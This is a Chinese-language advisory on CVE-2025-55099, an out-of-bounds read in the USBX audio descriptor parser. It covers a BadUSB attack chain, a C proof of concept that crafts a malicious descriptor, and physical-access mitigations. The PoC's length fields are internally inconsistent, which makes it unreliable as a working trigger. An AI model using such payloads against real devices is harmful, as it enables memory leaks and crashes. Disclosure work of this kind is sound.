CVE-2025-55099 USBX音频描述符越界读取漏洞

漏洞信息

漏洞编号

CVE-2025-55099

漏洞类型

越界读取（Out-of-Bounds Read）

CVSS评分

6.1 中危

攻击向量

物理 (AV:P)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

Eclipse ThreadX USBX（USB主机栈）

漏洞概述

CVE-2025-55099是Eclipse基金会ThreadX USBX USB主机栈中的一个越界读取漏洞。该漏洞存在于USBX 6.4.3之前的版本中，具体位于_ux_host_class_audio_alternate_setting_locate()函数中。当USBX解析USB音频类描述符（USB Audio Class Descriptor）时，如果攻击者精心构造包含恶意频率字段的描述符数据，可能导致函数在处理这些字段时发生越界读取操作。

USBX是Eclipse ThreadX实时操作系统（RTOS）的USB主机和设备支持模块，广泛应用于嵌入式系统、物联网设备和各种需要USB通信功能的嵌入式产品中。该漏洞的CVSS评分为6.1，属于中等严重等级。攻击向量为物理访问（AV:P），这意味着攻击者需要物理接触目标设备才能实施攻击。

该漏洞的影响范围包括高机密性影响和高可用性影响，但不影响完整性。攻击者可以利用此漏洞读取目标设备内存中的敏感信息，可能包括加密密钥、用户凭证或其他机密数据。同时，越界读取也可能导致系统崩溃或不可用状态，从而影响设备的可用性。由于需要物理访问才能利用此漏洞，其威胁程度相对较低，但仍对嵌入式设备的安全性构成潜在威胁，特别是在设备可能被未授权人员接触的场景中。

技术细节

该漏洞的根本原因在于_ux_host_class_audio_alternate_setting_locate()函数在解析USB音频类描述符时，未能对频率字段进行充分的边界检查。当USB设备插入时，USBX主机栈会枚举设备并解析其描述符。音频类描述符中包含采样频率（sampling frequency）相关的字段，攻击者可以通过构造恶意的USB音频设备来控制这些字段的值。

具体而言，在_ux_host_class_audio_alternate_setting_locate()函数处理音频接口的alternate setting时，函数会根据描述符中的频率字段进行索引或计算操作。如果攻击者提供的频率值超出了预定义数组或缓冲区的边界，函数将读取超出分配内存范围的数据，导致越界读取漏洞。

利用方式方面，攻击者需要制作一个恶意的USB音频设备（如伪装成U盘的BadUSB设备），当该设备连接到目标嵌入式系统时，恶意描述符会被发送给USBX主机栈进行解析。系统会调用_ux_host_class_audio_alternate_setting_locate()函数处理这些恶意数据，触发越界读取。攻击者可以通过精心设计描述符内容来控制读取的内存区域，从而泄露敏感信息或导致系统崩溃。

值得注意的是，该漏洞需要物理访问才能触发，攻击者必须能够将恶意USB设备插入目标系统的USB端口。这限制了其远程利用的可能性，但在物理安全无法保证的环境中仍构成显著威胁。

攻击链分析

STEP 1

步骤1：准备恶意USB设备

攻击者制作一个恶意的USB音频设备（如使用BadUSB技术的可编程USB设备），在设备的固件中植入精心构造的音频类描述符，其中包含超出正常范围的频率字段值。

STEP 2

步骤2：物理接入目标设备

攻击者将恶意USB设备物理插入运行受影响USBX版本的嵌入式系统或物联网设备的USB端口。

STEP 3

步骤3：触发USB枚举

目标系统的USBX主机栈检测到新设备连接，开始进行USB枚举过程，读取并解析设备的描述符。

STEP 4

步骤4：调用漏洞函数

USBX调用_ux_host_class_audio_alternate_setting_locate()函数处理音频接口的alternate setting，函数开始解析恶意描述符中的频率字段。

STEP 5

步骤5：触发越界读取

由于未对频率字段进行充分边界检查，函数使用恶意构造的频率值进行索引操作，导致读取超出预分配缓冲区边界的内存数据。

STEP 6

步骤6：信息泄露或系统崩溃

越界读取可能导致敏感信息泄露（读取到内存中的机密数据）或系统不可用（读取到无效内存导致崩溃/异常）。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

// CVE-2025-55099 PoC - Malicious USB Audio Descriptor
// This PoC demonstrates how to craft a malicious USB audio descriptor
// that triggers the out-of-bounds read in _ux_host_class_audio_alternate_setting_locate()
// in USBX versions before 6.4.3

#include <stdio.h>
#include <string.h>
#include <stdint.h>

// USB Audio Class specific descriptor types
#define USB_AUDIO_CLASS_SPECIFIC    0x24
#define USB_AUDIO_CS_INTERFACE      0x24
#define USB_AUDIO_AC_DESCRIPTOR_UNDEFINED 0x20

// USB Audio Interface Class code
#define USB_AUDIO_CLASS             0x01

// Malicious audio class descriptor with crafted frequency fields
typedef struct {
    uint8_t  bLength;
    uint8_t  bDescriptorType;
    uint8_t  bDescriptorSubtype;
    uint8_t  bTerminalLink;
    uint8_t  bmAttributes;
    uint8_t  bControlSize;
    uint8_t  bmaControls[2];
} __attribute__((packed)) usb_audio_cs_ac_interface_desc_t;

// Malicious sampling frequency descriptor with out-of-bounds frequency value
typedef struct {
    uint8_t  bLength;
    uint8_t  bDescriptorType;       // USB_AUDIO_CS_INTERFACE
    uint8_t  bDescriptorSubtype;    // USB_AUDIO_AC_DESCRIPTOR_UNDEFINED
    uint8_t  bFormatType;
    uint8_t  bNrChannels;
    uint8_t  bSubframeSize;
    uint8_t  bBitResolution;
    uint8_t  bSamFreqType;          // Number of sampling frequencies
    // Crafted frequency values - intentionally out of bounds
    uint32_t tSamFreq[10];          // Frequency values to trigger OOB read
} __attribute__((packed)) usb_audio_format_type_desc_t;

// Craft the malicious descriptor payload
uint8_t* craft_malicious_audio_descriptor(size_t *out_size) {
    static uint8_t descriptor[256];
    memset(descriptor, 0, sizeof(descriptor));

    // Build the audio class interface descriptor header
    descriptor[0] = 0x09;                           // bLength
    descriptor[1] = USB_AUDIO_CS_INTERFACE;         // bDescriptorType
    descriptor[2] = USB_AUDIO_AC_DESCRIPTOR_UNDEFINED; // bDescriptorSubtype
    descriptor[3] = 0x01;                           // bTerminalLink
    descriptor[4] = 0x00;                           // bmAttributes
    descriptor[5] = 0x02;                           // bControlSize
    descriptor[6] = 0x00;                           // bmaControls[0]
    descriptor[7] = 0x00;                           // bmaControls[1]

    // Format type descriptor with malicious frequency fields
    usb_audio_format_type_desc_t *fmt_desc = (usb_audio_format_type_desc_t *)&descriptor[8];
    fmt_desc->bLength = 0x2B;
    fmt_desc->bDescriptorType = USB_AUDIO_CS_INTERFACE;
    fmt_desc->bDescriptorSubtype = 0x02;            // FORMAT_TYPE
    fmt_desc->bFormatType = 0x01;
    fmt_desc->bNrChannels = 0x01;
    fmt_desc->bSubframeSize = 0x02;
    fmt_desc->bBitResolution = 0x10;
    // Set a large number of frequencies to trigger OOB read
    fmt_desc->bSamFreqType = 0xFF;                  // 255 frequencies (exceeds array bounds)

    // Fill with crafted frequency values
    for (int i = 0; i < 10; i++) {
        fmt_desc->tSamFreq[i] = 0xFFFFFFFF;         // Max frequency values
    }

    *out_size = sizeof(descriptor);
    return descriptor;
}

int main() {
    size_t size;
    uint8_t *payload = craft_malicious_audio_descriptor(&size);

    printf("CVE-2025-55099 PoC - Malicious USB Audio Descriptor\n");
    printf("Payload size: %zu bytes\n", size);
    printf("This payload should be embedded in a malicious USB device\n");
    printf("to trigger OOB read in _ux_host_class_audio_alternate_setting_locate()\n");

    // Print hex dump of the payload
    printf("\nHex dump:\n");
    for (size_t i = 0; i < 48; i++) {
        printf("%02x ", payload[i]);
        if ((i + 1) % 16 == 0) printf("\n");
    }
    printf("\n");

    return 0;
}

影响范围

Eclipse ThreadX USBX < 6.4.3

防御指南

临时缓解措施

在无法立即升级USBX版本的情况下，建议采取以下临时缓解措施：1）限制目标设备的物理访问权限，确保只有授权人员能够接触USB端口；2）在系统层面实施USB设备访问控制策略，禁用或限制USB音频类设备的使用；3）在BIOS/固件层面禁用USB端口或仅启用必要的USB功能；4）部署USB端口监控工具，实时检测和告警异常USB设备接入行为；5）对于关键嵌入式系统，考虑使用USB端口封锁器等物理防护措施。